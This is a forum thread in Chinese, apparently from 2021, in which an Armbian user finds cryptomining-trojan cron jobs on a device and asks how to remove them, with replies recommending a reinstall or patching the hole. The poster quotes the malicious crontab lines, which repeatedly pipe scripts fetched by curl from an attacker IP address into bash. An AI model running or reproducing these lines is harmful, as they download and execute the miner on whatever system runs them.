这是一个创建于 1404 天前的主题，其中的信息可能已经有所发展或是发生改变。
N1 安装 armbian 已经有 2 年了,刚想设置定时任务来着,结果发现里面有一堆我不认识的任务,然后谷歌了一下,说是挖矿木马.请问如何删除呢.
.
谷歌到的信息在这 http://hackernews.cc/archives/33447
第 1 条附言 · 2021-01-25 16:41:54 +08:00
内容如下:
#*/30 * * * * curl -A fczyo-cron/1.5 -sL http://34.92.166.158:8080/files/xanthe | bash -s >/dev/null 2>&1
#*/30 * * * * curl -A fczyo-cron/1.5 -sL http://34.92.166.158:8080/files/xesa.txt | bash -s >/dev/null 2>&1
#*/30 * * * * curl -A fczyo-cron/1.5 -sL http://34.92.166.158:8080/files/fczyo | bash -s >/dev/null 2>&1
#*/30 * * * * curl -A fczyo-cron/1.5 -sL http://34.92.166.158:8080/files/xanthe | bash -s >/dev/null 2>&1
#*/30 * * * * curl -A fczyo-cron/1.5 -sL http://34.92.166.158:8080/files/xesa.txt | bash -s >/dev/null 2>&1
#*/30 * * * * curl -A fczyo-cron/1.5 -sL http://34.92.166.158:8080/files/fczyo | bash -s >/dev/null 2>&1
#*/30 * * * * curl -A fczyo-cron/1.5 -sL http://34.92.166.158:8080/files/xanthe | bash -s >/dev/null 2>&1
#*/30 * * * * curl -A fczyo-cron/1.5 -sL http://34.92.166.158:8080/files/xesa.txt | bash -s >/dev/null 2>&1
#*/30 * * * * curl -A fczyo-cron/1.5 -sL http://34.92.166.158:8080/files/fczyo | bash -s >/dev/null 2>&1
#*/30 * * * * curl -A fczyo-cron/1.5 -sL http://34.92.166.158:8080/files/xanthe | bash -s >/dev/null 2>&1
#*/30 * * * * curl -A fczyo-cron/1.5 -sL http://34.92.166.158:8080/files/xesa.txt | bash -s >/dev/null 2>&1
#*/30 * * * * curl -A fczyo-cron/1.5 -sL http://34.92.166.158:8080/files/fczyo | bash -s >/dev/null 2>&1
 |
1
alfchin 2021-01-25 16:10:02 +08:00 via iPhone
建议格了重新装。人工清理不一定能清干净
|
 |
3
dream7758522 2021-01-25 16:42:54 +08:00 via Android
你可以尝试断电，饿死它
|
 |
4
StephenZSIR 2021-01-25 16:49:05 +08:00
这种一般都是通过系统或者程序漏洞注入的，单纯清除定时任务是没用的，前两年有台服务器部署了 structs2 应用，存在漏洞，后来升级 structs2，清定时任务，禁 IP，然后就没出现过了
|
 |
5
cryboy007 OP @dream7758522 我也想啊,但是我看着现在系统负载挺低的.就这么弄着吧.也没啥东西,都是些自己折腾的小玩具
|
|
6
cryboy007 OP @StephenZSIR 我看负载,没发现有什么异常进程.如果只能重装的话,我看我也懒得折腾了￣□￣｜｜.
|
Select Language